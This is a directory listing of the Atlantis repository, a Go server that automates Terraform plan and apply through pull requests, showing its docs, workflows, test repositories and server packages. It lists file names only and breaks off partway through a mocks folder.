Repository: runatlantis/atlantis Branch: main Commit: c88b0496f3c4 Files: 1015 Total size: 4.8 MB Directory structure: gitextract_5epp6u6d/ ├── .adr-dir ├── .clusterfuzzlite/ │ ├── Dockerfile │ └── build.sh ├── .codecov.yml ├── .dockerignore ├── .editorconfig ├── .gitattributes ├── .github/ │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.md │ │ └── feature_request.md │ ├── PULL_REQUEST_TEMPLATE.md │ ├── cherry-pick-bot.yml │ ├── copilot-instructions.md │ ├── labeler.yml │ ├── release.yml │ ├── renovate.json5 │ ├── styles/ │ │ └── Atlantis/ │ │ └── ProductTerms.yml │ └── workflows/ │ ├── atlantis-image.yml │ ├── clusterfuzzlite.yml │ ├── codeql.yml │ ├── dependency-review.yml │ ├── labeler.yml │ ├── lint.yml │ ├── pr-lint.yml │ ├── pr-size-labeler.yml │ ├── release.yml │ ├── renovate-config.yml │ ├── scorecard.yml │ ├── stale.yml │ ├── test.yml │ ├── testing-env-image.yml │ └── website.yml ├── .gitignore ├── .golangci.yml ├── .goreleaser.yml ├── .lycheeignore ├── .markdownlint.yaml ├── .node-version ├── .pre-commit-config.yaml ├── .tool-versions ├── .vale.ini ├── .vscode/ │ └── settings.json ├── ADOPTERS.md ├── CHANGELOG.md ├── CODEOWNERS ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Dockerfile ├── Dockerfile.dev ├── LICENSE ├── MAINTAINERS.md ├── Makefile ├── README.md ├── RELEASE.md ├── SECURITY.md ├── _typos.toml ├── atlantis-features-version-analysis.md ├── cmd/ │ ├── bootstrap.go │ ├── cmd.go │ ├── help_fmt.go │ ├── root.go │ ├── server.go │ ├── server_test.go │ └── version.go ├── docker-compose.yml ├── docker-entrypoint.sh ├── docs/ │ └── adr/ │ └── 0001-record-architecture-decisions.md ├── e2e/ │ ├── .gitignore │ ├── Makefile │ ├── README.md │ ├── e2e.go │ ├── github.go │ ├── gitlab.go │ ├── go.mod │ ├── go.sum │ ├── main.go │ └── vcs.go ├── go.mod ├── go.sum ├── goss.yaml ├── kustomize/ │ ├── bundle.yaml │ └── kustomization.yaml ├── main.go ├── netlify.toml ├── package.json ├── playwright.config.cjs ├── runatlantis.io/ │ ├── .vitepress/ │ │ ├── components/ │ │ │ ├── Banner.vue │ │ │ └── shims.d.ts │ │ ├── config.ts │ │ ├── navbars.ts │ │ ├── sidebars.ts │ │ └── theme/ │ │ └── index.ts │ ├── blog/ │ │ ├── 2017/ │ │ │ └── introducing-atlantis.md │ │ ├── 2018/ │ │ │ ├── atlantis-0-4-4-now-supports-bitbucket.md │ │ │ ├── hosting-our-static-site/ │ │ │ │ └── code/ │ │ │ │ ├── cloudfront.tf │ │ │ │ ├── dns.tf │ │ │ │ ├── full.tf │ │ │ │ ├── main.tf │ │ │ │ ├── s3-bucket.tf │ │ │ │ └── ssl-cert.tf │ │ │ ├── hosting-our-static-site-over-ssl-with-s3-acm-cloudfront-and-terraform.md │ │ │ ├── joining-hashicorp.md │ │ │ ├── putting-the-dev-into-devops-why-your-developers-should-write-terraform-too.md │ │ │ └── terraform-and-the-dangers-of-applying-locally.md │ │ ├── 2019/ │ │ │ └── 4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage.md │ │ ├── 2024/ │ │ │ ├── april-2024-survey-results.md │ │ │ └── integrating-atlantis-with-opentofu.md │ │ └── 2025/ │ │ └── atlantis-on-google-cloud-run.md │ ├── blog.md │ ├── contributing/ │ │ ├── events-controller.md │ │ └── glossary.md │ ├── contributing.md │ ├── docs/ │ │ ├── access-credentials.md │ │ ├── api-endpoints.md │ │ ├── apply-requirements.md │ │ ├── automerging.md │ │ ├── autoplanning.md │ │ ├── checkout-strategy.md │ │ ├── command-requirements.md │ │ ├── configuring-atlantis.md │ │ ├── configuring-webhooks.md │ │ ├── custom-policy-checks.md │ │ ├── custom-workflows.md │ │ ├── deployment.md │ │ ├── faq.md │ │ ├── how-atlantis-works.md │ │ ├── installation-guide.md │ │ ├── locking.md │ │ ├── policy-checking.md │ │ ├── post-workflow-hooks.md │ │ ├── pre-workflow-hooks.md │ │ ├── provider-credentials.md │ │ ├── repo-and-project-permissions.md │ │ ├── repo-level-atlantis-yaml.md │ │ ├── requirements.md │ │ ├── security.md │ │ ├── sending-notifications-via-webhooks.md │ │ ├── server-configuration.md │ │ ├── server-side-repo-config.md │ │ ├── stats.md │ │ ├── streaming-logs.md │ │ ├── terraform-cloud.md │ │ ├── terraform-versions.md │ │ ├── troubleshooting-https.md │ │ ├── upgrading-atlantis-yaml.md │ │ ├── using-atlantis.md │ │ └── webhook-secrets.md │ ├── docs.md │ ├── e2e/ │ │ └── site-check.spec.js │ ├── guide/ │ │ ├── test-drive.md │ │ └── testing-locally.md │ ├── guide.md │ ├── index.md │ └── terraform/ │ ├── main.tf │ └── versions.tf ├── scripts/ │ ├── addlicense.sh │ ├── coverage.sh │ ├── download-release.sh │ ├── e2e.sh │ ├── fmt.sh │ ├── go-generate.sh │ └── pin_ci_terraform_providers.sh ├── server/ │ ├── controllers/ │ │ ├── api_controller.go │ │ ├── api_controller_test.go │ │ ├── events/ │ │ │ ├── azuredevops_request_validator.go │ │ │ ├── azuredevops_request_validator_test.go │ │ │ ├── events_controller.go │ │ │ ├── events_controller_e2e_test.go │ │ │ ├── events_controller_test.go │ │ │ ├── github_request_validator.go │ │ │ ├── github_request_validator_test.go │ │ │ ├── gitlab_request_parser_validator.go │ │ │ ├── gitlab_request_parser_validator_test.go │ │ │ ├── mocks/ │ │ │ │ ├── mock_azuredevops_request_validator.go │ │ │ │ ├── mock_github_request_validator.go │ │ │ │ └── mock_gitlab_request_parser_validator.go │ │ │ └── testdata/ │ │ │ ├── bb-server-pull-deleted-event.json │ │ │ ├── githubIssueCommentEvent.json │ │ │ ├── githubIssueCommentEvent_notAllowlisted.json │ │ │ ├── githubPullRequestClosedEvent.json │ │ │ ├── githubPullRequestOpenedEvent.json │ │ │ ├── gitlabMergeCommentEvent_notAllowlisted.json │ │ │ ├── gitlabMergeCommentEvent_shouldIgnore.json │ │ │ ├── null_provider_lockfile_old_version │ │ │ └── test-repos/ │ │ │ ├── automerge/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── dir1/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── dir2/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── exp-output-apply-dir1.txt │ │ │ │ ├── exp-output-apply-dir2.txt │ │ │ │ ├── exp-output-automerge.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ └── exp-output-merge.txt │ │ │ ├── import-multiple-project/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── dir1/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── dir2/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-import-dummy1.txt │ │ │ │ ├── exp-output-import-multiple-projects.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ └── exp-output-plan-again.txt │ │ │ ├── import-single-project/ │ │ │ │ ├── exp-output-apply-no-projects.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-import-dummy1.txt │ │ │ │ ├── exp-output-import-dummy2.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── exp-output-plan-again.txt │ │ │ │ ├── main.tf │ │ │ │ └── versions.tf │ │ │ ├── import-single-project-var/ │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-import-count.txt │ │ │ │ ├── exp-output-import-foreach.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── exp-output-plan-again.txt │ │ │ │ ├── main.tf │ │ │ │ └── versions.tf │ │ │ ├── import-workspace/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── dir1/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── exp-output-import-dir1-ops-dummy1.txt │ │ │ │ ├── exp-output-import-dir1-ops-dummy2.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ └── exp-output-plan.txt │ │ │ ├── modules/ │ │ │ │ ├── exp-output-apply-production.txt │ │ │ │ ├── exp-output-apply-staging.txt │ │ │ │ ├── exp-output-autoplan-only-staging.txt │ │ │ │ ├── exp-output-merge-all-dirs.txt │ │ │ │ ├── exp-output-merge-only-staging.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── exp-output-plan-production.txt │ │ │ │ ├── exp-output-plan-staging.txt │ │ │ │ ├── modules/ │ │ │ │ │ └── null/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── production/ │ │ │ │ │ └── main.tf │ │ │ │ └── staging/ │ │ │ │ └── main.tf │ │ │ ├── modules-yaml/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-production.txt │ │ │ │ ├── exp-output-apply-staging.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge-all-dirs.txt │ │ │ │ ├── exp-output-merge-only-staging.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── exp-output-plan-production.txt │ │ │ │ ├── exp-output-plan-staging.txt │ │ │ │ ├── modules/ │ │ │ │ │ └── null/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── production/ │ │ │ │ │ └── main.tf │ │ │ │ └── staging/ │ │ │ │ └── main.tf │ │ │ ├── policy-checks/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-failed.txt │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-approve-policies.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── policy-checks-apply-reqs/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-failed.txt │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-approve-policies.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── policy-checks-clear-approval/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-failed.txt │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-approve-policies-clear.txt │ │ │ │ ├── exp-output-approve-policies-success.txt │ │ │ │ ├── exp-output-approve-policies.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── policy-checks-custom-run-steps/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-failed.txt │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-approve-policies.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── policy-checks-diff-owner/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-failed.txt │ │ │ │ ├── exp-output-approve-policies.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── policy-checks-disabled-previous-match/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-failed.txt │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-approve-policies.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── policy-checks-disabled-repo/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-failed.txt │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-approve-policies.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── policy-checks-disabled-repo-server-side/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-failed.txt │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-approve-policies.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── policy-checks-enabled-repo/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-failed.txt │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-approve-policies.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── policy-checks-enabled-repo-server-side/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-failed.txt │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-approve-policies.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── policy-checks-extra-args/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-failed.txt │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-approve-policies.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── policy-checks-multi-projects/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── dir1/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── dir2/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-auto-policy-check-quiet.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ └── repos.yaml │ │ │ ├── policy-checks-success-silent/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── policies/ │ │ │ │ │ └── policy.rego │ │ │ │ └── repos.yaml │ │ │ ├── repo-config-file/ │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ └── infrastructure/ │ │ │ │ ├── custom-name-atlantis.yaml │ │ │ │ ├── production/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ └── staging/ │ │ │ │ ├── main.tf │ │ │ │ └── versions.tf │ │ │ ├── server-side-cfg/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-apply-default-workspace.txt │ │ │ │ ├── exp-output-apply-staging-workspace.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── repos.yaml │ │ │ │ └── versions.tf │ │ │ ├── simple/ │ │ │ │ ├── exp-output-allow-command-unknown-import.txt │ │ │ │ ├── exp-output-apply-var-all.txt │ │ │ │ ├── exp-output-apply-var-default-workspace.txt │ │ │ │ ├── exp-output-apply-var-new-workspace.txt │ │ │ │ ├── exp-output-apply-var.txt │ │ │ │ ├── exp-output-apply.txt │ │ │ │ ├── exp-output-atlantis-plan-new-workspace.txt │ │ │ │ ├── exp-output-atlantis-plan-var-overridden.txt │ │ │ │ ├── exp-output-atlantis-plan.txt │ │ │ │ ├── exp-output-auto-policy-check.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge-workspaces.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ └── versions.tf │ │ │ ├── simple-with-lockfile/ │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-plan.txt │ │ │ │ ├── main.tf │ │ │ │ └── versions.tf │ │ │ ├── simple-yaml/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── exp-output-allow-command-unknown-apply.txt │ │ │ │ ├── exp-output-apply-all.txt │ │ │ │ ├── exp-output-apply-default.txt │ │ │ │ ├── exp-output-apply-locked.txt │ │ │ │ ├── exp-output-apply-staging.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── exp-output-plan-default.txt │ │ │ │ ├── exp-output-plan-staging.txt │ │ │ │ ├── main.tf │ │ │ │ ├── staging.tfvars │ │ │ │ └── versions.tf │ │ │ ├── state-rm-multiple-project/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── dir1/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── dir2/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-import-dummy1.txt │ │ │ │ ├── exp-output-import-dummy2.txt │ │ │ │ ├── exp-output-merged.txt │ │ │ │ ├── exp-output-plan-again.txt │ │ │ │ ├── exp-output-plan.txt │ │ │ │ └── exp-output-state-rm-multiple-projects.txt │ │ │ ├── state-rm-single-project/ │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-import-count.txt │ │ │ │ ├── exp-output-import-foreach.txt │ │ │ │ ├── exp-output-import-simple.txt │ │ │ │ ├── exp-output-merged.txt │ │ │ │ ├── exp-output-plan-again.txt │ │ │ │ ├── exp-output-plan.txt │ │ │ │ ├── exp-output-state-rm-foreach.txt │ │ │ │ ├── exp-output-state-rm-multiple.txt │ │ │ │ ├── main.tf │ │ │ │ └── versions.tf │ │ │ ├── state-rm-workspace/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── dir1/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── versions.tf │ │ │ │ ├── exp-output-import-dummy1.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── exp-output-plan-again.txt │ │ │ │ ├── exp-output-plan.txt │ │ │ │ └── exp-output-state-rm-dummy1.txt │ │ │ ├── tfvars-yaml/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── default.backend.tfvars │ │ │ │ ├── default.tfvars │ │ │ │ ├── exp-output-apply-default.txt │ │ │ │ ├── exp-output-apply-staging.txt │ │ │ │ ├── exp-output-autoplan.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── main.tf │ │ │ │ ├── staging.backend.tfvars │ │ │ │ ├── staging.tfvars │ │ │ │ └── versions.tf │ │ │ ├── tfvars-yaml-no-autoplan/ │ │ │ │ ├── atlantis.yaml │ │ │ │ ├── default.backend.tfvars │ │ │ │ ├── default.tfvars │ │ │ │ ├── exp-output-apply-default.txt │ │ │ │ ├── exp-output-apply-staging.txt │ │ │ │ ├── exp-output-merge.txt │ │ │ │ ├── exp-output-plan-default.txt │ │ │ │ ├── exp-output-plan-staging.txt │ │ │ │ ├── main.tf │ │ │ │ ├── staging.backend.tfvars │ │ │ │ ├── staging.tfvars │ │ │ │ └── versions.tf │ │ │ └── workspace-parallel-yaml/ │ │ │ ├── atlantis.yaml │ │ │ ├── exp-output-apply-all-production.txt │ │ │ ├── exp-output-apply-all-staging.txt │ │ │ ├── exp-output-autoplan-production.txt │ │ │ ├── exp-output-autoplan-staging.txt │ │ │ ├── exp-output-merge.txt │ │ │ ├── production/ │ │ │ │ ├── main.tf │ │ │ │ └── versions.tf │ │ │ └── staging/ │ │ │ ├── main.tf │ │ │ └── versions.tf │ │ ├── github_app_controller.go │ │ ├── jobs_controller.go │ │ ├── locks_controller.go │ │ ├── locks_controller_test.go │ │ ├── status_controller.go │ │ ├── status_controller_test.go │ │ ├── web_templates/ │ │ │ ├── mocks/ │ │ │ │ └── mock_template_writer.go │ │ │ ├── templates/ │ │ │ │ ├── github-app.html.tmpl │ │ │ │ ├── index.html.tmpl │ │ │ │ ├── lock.html.tmpl │ │ │ │ ├── project-jobs-error.html.tmpl │ │ │ │ └── project-jobs.html.tmpl │ │ │ ├── web_templates.go │ │ │ └── web_templates_test.go │ │ └── websocket/ │ │ ├── mux.go │ │ ├── mux_test.go │ │ └── writer.go │ ├── core/ │ │ ├── boltdb/ │ │ │ ├── boltdb.go │ │ │ └── boltdb_test.go │ │ ├── config/ │ │ │ ├── cfgfuzz/ │ │ │ │ └── fuzz_test.go │ │ │ ├── parser_validator.go │ │ │ ├── parser_validator_test.go │ │ │ ├── raw/ │ │ │ │ ├── autodiscover.go │ │ │ │ ├── autodiscover_test.go │ │ │ │ ├── autoplan.go │ │ │ │ ├── autoplan_test.go │ │ │ │ ├── global_cfg.go │ │ │ │ ├── metrics.go │ │ │ │ ├── metrics_test.go │ │ │ │ ├── policies.go │ │ │ │ ├── policies_test.go │ │ │ │ ├── project.go │ │ │ │ ├── project_test.go │ │ │ │ ├── raw.go │ │ │ │ ├── raw_test.go │ │ │ │ ├── repo_cfg.go │ │ │ │ ├── repo_cfg_test.go │ │ │ │ ├── repo_locks.go │ │ │ │ ├── repo_locks_test.go │ │ │ │ ├── stage.go │ │ │ │ ├── stage_test.go │ │ │ │ ├── step.go │ │ │ │ ├── step_test.go │ │ │ │ ├── team_authz.go │ │ │ │ ├── workflow.go │ │ │ │ ├── workflow_step.go │ │ │ │ ├── workflow_step_test.go │ │ │ │ └── workflow_test.go │ │ │ └── valid/ │ │ │ ├── autodiscover.go │ │ │ ├── autodiscover_test.go │ │ │ ├── global_cfg.go │ │ │ ├── global_cfg_test.go │ │ │ ├── policies.go │ │ │ ├── policies_test.go │ │ │ ├── repo_cfg.go │ │ │ ├── repo_cfg_test.go │ │ │ ├── repo_locks.go │ │ │ ├── team_authz.go │ │ │ └── valid.go │ │ ├── db/ │ │ │ ├── db.go │ │ │ └── mocks/ │ │ │ └── mock_database.go │ │ ├── locking/ │ │ │ ├── apply_locking.go │ │ │ ├── locking.go │ │ │ ├── locking_test.go │ │ │ └── mocks/ │ │ │ ├── mock_apply_lock_checker.go │ │ │ ├── mock_apply_locker.go │ │ │ └── mock_locker.go │ │ ├── redis/ │ │ │ ├── redis.go │ │ │ └── redis_test.go │ │ ├── runtime/ │ │ │ ├── apply_step_runner.go │ │ │ ├── apply_step_runner_internal_test.go │ │ │ ├── apply_step_runner_test.go │ │ │ ├── cache/ │ │ │ │ ├── mocks/ │ │ │ │ │ ├── mock_key_serializer.go │ │ │ │ │ └── mock_version_path.go │ │ │ │ ├── version_path.go │ │ │ │ └── version_path_test.go │ │ │ ├── common/ │ │ │ │ ├── common.go │ │ │ │ └── common_test.go │ │ │ ├── env_step_runner.go │ │ │ ├── env_step_runner_test.go │ │ │ ├── executor.go │ │ │ ├── external_team_allowlist_runner.go │ │ │ ├── import_step_runner.go │ │ │ ├── import_step_runner_test.go │ │ │ ├── init_step_runner.go │ │ │ ├── init_step_runner_test.go │ │ │ ├── minimum_version_step_runner_delegate.go │ │ │ ├── minimum_version_step_runner_delegate_test.go │ │ │ ├── mocks/ │ │ │ │ ├── mock_async_tfexec.go │ │ │ │ ├── mock_external_team_allowlist_runner.go │ │ │ │ ├── mock_post_workflows_hook_runner.go │ │ │ │ ├── mock_pre_workflows_hook_runner.go │ │ │ │ ├── mock_pull_approved_checker.go │ │ │ │ ├── mock_runner.go │ │ │ │ ├── mock_status_updater.go │ │ │ │ └── mock_versionedexecutorworkflow.go │ │ │ ├── models/ │ │ │ │ ├── exec.go │ │ │ │ ├── filepath.go │ │ │ │ ├── mocks/ │ │ │ │ │ ├── mock_exec.go │ │ │ │ │ └── mock_filepath.go │ │ │ │ ├── shell_command_runner.go │ │ │ │ └── shell_command_runner_test.go │ │ │ ├── multienv_step_runner.go │ │ │ ├── multienv_step_runner_internal_test.go │ │ │ ├── multienv_step_runner_test.go │ │ │ ├── plan_step_runner.go │ │ │ ├── plan_step_runner_test.go │ │ │ ├── plan_type_step_runner_delegate.go │ │ │ ├── plan_type_step_runner_delegate_test.go │ │ │ ├── policy/ │ │ │ │ ├── conftest_client.go │ │ │ │ ├── conftest_client_test.go │ │ │ │ └── mocks/ │ │ │ │ ├── mock_conftest_client.go │ │ │ │ └── mock_downloader.go │ │ │ ├── policy_check_step_runner.go │ │ │ ├── policy_check_step_runner_test.go │ │ │ ├── post_workflow_hook_runner.go │ │ │ ├── post_workflow_hook_runner_test.go │ │ │ ├── pre_workflow_hook_runner.go │ │ │ ├── pre_workflow_hook_runner_test.go │ │ │ ├── pull_approved_checker.go │ │ │ ├── run_step_runner.go │ │ │ ├── run_step_runner_test.go │ │ │ ├── runtime.go │ │ │ ├── runtime_test.go │ │ │ ├── show_step_runner.go │ │ │ ├── show_step_runner_test.go │ │ │ ├── state_rm_step_runner.go │ │ │ ├── state_rm_step_runner_test.go │ │ │ ├── version_step_runner.go │ │ │ ├── version_step_runner_test.go │ │ │ ├── workspace_step_runner_delegate.go │ │ │ └── workspace_step_runner_delegate_test.go │ │ └── terraform/ │ │ ├── ansi/ │ │ │ ├── strip.go │ │ │ └── strip_test.go │ │ ├── distribution.go │ │ ├── distribution_test.go │ │ ├── downloader.go │ │ ├── downloader_test.go │ │ ├── mocks/ │ │ │ └── mock_downloader.go │ │ └── tfclient/ │ │ ├── mocks/ │ │ │ └── mock_terraform_client.go │ │ ├── terraform_client.go │ │ ├── terraform_client_internal_test.go │ │ └── terraform_client_test.go │ ├── events/ │ │ ├── apply_command_runner.go │ │ ├── apply_command_runner_test.go │ │ ├── approve_policies_command_runner.go │ │ ├── automerger.go │ │ ├── cancel_command_runner.go │ │ ├── cancellation_tracker.go │ │ ├── command/ │ │ │ ├── context.go │ │ │ ├── lock.go │ │ │ ├── name.go │ │ │ ├── name_test.go │ │ │ ├── project_context.go │ │ │ ├── project_context_test.go │ │ │ ├── project_result.go │ │ │ ├── project_result_test.go │ │ │ ├── result.go │ │ │ ├── result_test.go │ │ │ ├── scope_tags.go │ │ │ ├── team_allowlist_checker.go │ │ │ └── team_allowlist_checker_test.go │ │ ├── command_requirement_handler.go │ │ ├── command_requirement_handler_test.go │ │ ├── command_runner.go │ │ ├── command_runner_internal_test.go │ │ ├── command_runner_test.go │ │ ├── command_type.go │ │ ├── comment_parser.go │ │ ├── comment_parser_test.go │ │ ├── commit_status_updater.go │ │ ├── commit_status_updater_test.go │ │ ├── db_updater.go │ │ ├── delete_lock_command.go │ │ ├── delete_lock_command_test.go │ │ ├── drainer.go │ │ ├── drainer_test.go │ │ ├── event_parser.go │ │ ├── event_parser_test.go │ │ ├── external_team_allowlist_checker.go │ │ ├── external_team_allowlist_checker_test.go │ │ ├── github_app_working_dir.go │ │ ├── github_app_working_dir_test.go │ │ ├── import_command_runner.go │ │ ├── import_command_runner_test.go │ │ ├── instrumented_project_command_builder.go │ │ ├── instrumented_project_command_runner.go │ │ ├── instrumented_pull_closed_executor.go │ │ ├── markdown_renderer.go │ │ ├── markdown_renderer_test.go │ │ ├── mock_workingdir_test.go │ │ ├── mocks/ │ │ │ ├── mock_azuredevops_pull_getter.go │ │ │ ├── mock_cancellation_tracker.go │ │ │ ├── mock_command_requirement_handler.go │ │ │ ├── mock_command_runner.go │ │ │ ├── mock_comment_building.go │ │ │ ├── mock_comment_parsing.go │ │ │ ├── mock_commit_status_updater.go │ │ │ ├── mock_custom_step_runner.go │ │ │ ├── mock_delete_lock_command.go │ │ │ ├── mock_env_step_runner.go │ │ │ ├── mock_event_parsing.go │ │ │ ├── mock_github_pull_getter.go │ │ │ ├── mock_gitlab_merge_request_getter.go │ │ │ ├── mock_job_message_sender.go │ │ │ ├── mock_job_url_setter.go │ │ │ ├── mock_lock_url_generator.go │ │ │ ├── mock_pending_plan_finder.go │ │ │ ├── 